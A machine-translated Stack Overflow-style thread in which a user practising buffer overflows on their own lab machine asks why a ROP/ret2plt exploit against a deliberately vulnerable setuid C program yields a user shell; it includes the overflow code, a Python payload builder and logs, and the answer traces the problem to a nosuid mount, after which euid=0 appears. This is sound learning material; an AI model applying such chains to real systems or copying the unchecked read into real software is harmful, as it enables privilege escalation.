为什么我的缓冲区溢出漏洞利用只会打开用户外壳而不是根外壳?

Zap*_*Oxx 5 c python exploit x86-64 buffer-overflow

我一直在关注一些有关缓冲区溢出利用的教程。但是我的问题是,我无法打开根外壳程序,而是总会得到一个普通的用户外壳程序。我检查了以下几点

我重新验证了以下各项,但仍然无法实现实际的root shell:

  • 我将二进制文件的所有者正确设置为root,还设置了s标志(检查)
  • 我已验证我使用的漏洞利用程序是否正常工作,使用了正确的system @ plt和exit @ plt地址,并且这些值已通过pop rdi; ret;正确加载到rdi中。段; 我毕竟得到了一个shell,但是没有得到预期的根shell;(校验)
  • 我听说如今破折号和bash确实放弃了特权,将/ bin / sh链接到/ bin / zsh会有所帮助,但这并没有帮助我;仍然获得非root shell(检查,方法对我不起作用)
  • 我还尝试在二进制文件中调用setuid(0)和seteuid(0)进行测试。仍然没有根壳;(检查,对我不起作用)
  • 我也看到有些人设置的/ proc / sys目录/内核/阎王/ ptrace_scope为0(见张贴在这里),看到张贴在这里,但事实并非如此,我(值设置为1,我从来没有感动)(支票,我的值设置为1,应该可以)
  • 我正在使用linux mint 18.1 serena,也许这里有一项附加的安全功能会丢弃特权并阻止root-shell?
  • 请参阅下面的我的C代码和利用python脚本以供参考(漏洞位于vuln()函数中);函数shell()仅具有对应@plt函数的地址可用(这仅用于练习和玩耍)
  • 我使用'gcc -fno-stack-protector -o ghost ghost.c'来编译二进制文件,以避免堆栈金丝雀

有人知道可能是什么问题吗?为什么我仍然无法获得root shell?

在此先感谢您的任何建议和提示。最好的Zaphoxx

易受攻击的C代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/bin/sh");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    printf("[+] input: ");
    l=read(0,buf,128);
    printf("[+] recv: ");
    write(1,buf,l);
    return 0;
}

int main(){
    //setbuf(stdout,0);
    setuid(0);
    seteuid(0);
    vuln();
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

python利用脚本创建有效负载:

#!/usr/bin/python
from struct import *
from subprocess import call

poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)

with open("pwn","w") as p:
    p.write(buf)
Run Code Online (Sandbox Code Playgroud)

ls -l的屏幕截图

编辑更新:

因此,我按照建议重试了,直接在一个小的二进制文件中调用execve(),而不是使用易受攻击的二进制文件,只是为了检查是否会打开根shell:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id                                                                           
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami                                                                       
zaphoxx
$ exit                                                                         
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>

int main(){
    char *name[2];
    name[0]="/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
Run Code Online (Sandbox Code Playgroud)

因此,它不会打开根外壳程序;

我确实将/ bin / sh链接到/ bin / zsh,如在其他帖子中所建议的,请参见此处:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
Run Code Online (Sandbox Code Playgroud)

正如彼得建议的那样,我在漏洞利用程序中确实使用了“ / usr / bin / id”作为系统参数,但结果与预期的相同:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/usr/bin/id");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    l=read(0,buf,128);
    printf("[+] recv: %s",buf);
    //write(1,buf,l);
    return 0;
}

int main(){
    //shell();
    //setbuf(stdout,0);
    //setuid(0);
    //seteuid(0);
    vuln();
    return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 
Run Code Online (Sandbox Code Playgroud)

更新:我从KABuhr得到了一个很好的提示,以检查/ proc / mounts中的nosuid条目,并且:

zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime
Run Code Online (Sandbox Code Playgroud)

因此,这似乎是我遇到问题的原因。我将如何以正确的方式进行更改,或者如何临时停用nosuid以便测试漏洞利用程序?

Zap*_*Oxx 3

感谢大家提供的帮助。特别感谢 KABuhr 提供了正确的提示。

在 /proc/mounts 中,有多个具有 nosuid 标志的文件夹/文件系统条目。这阻止了利用打开 root shell,因为我尝试利用的二进制文件位于带有 nosuid 标志的文件夹中。

我将二进制文件移至 /usr/local/src/ghostInTheShell 并创建了从原始文件夹到新文件夹的符号链接(没有 nosuid 标志)。

在那里运行漏洞利用程序一切都按预期进行。谢谢大家。参见下面的结果:

zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ gcc -fno-stack-protector -o ghost ghost.c ; sudo chown root:root ghost ; sudo chmod 4755 ghost; ll ./ghost;
-rwsr-xr-x 1 root root 8816 Oct 18 12:22 ./ghost*
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ ( cat pwn ; cat ) | ./ghost
ls
exp.py   ghost.py   in.txt  peda-session-dash.txt     sexecve.log
fish     ghost.py~  leak    peda-session-ghost.txt    shell
fish.c   gits       leak.c  peda-session-lib2plt.txt  shellcode.c
fish.c~  gits.c     lib2plt pwn
ghost    gits.o     lib2plt.c   pwn.py
ghost.c  in.text    libtest.so  r2lib-addresses
whoami
**root**
id
uid=1000(zaphoxx) gid=1000(zaphoxx) **euid=0(root)** groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
exit
[+] recv: AAAAAAAAH
Run Code Online (Sandbox Code Playgroud)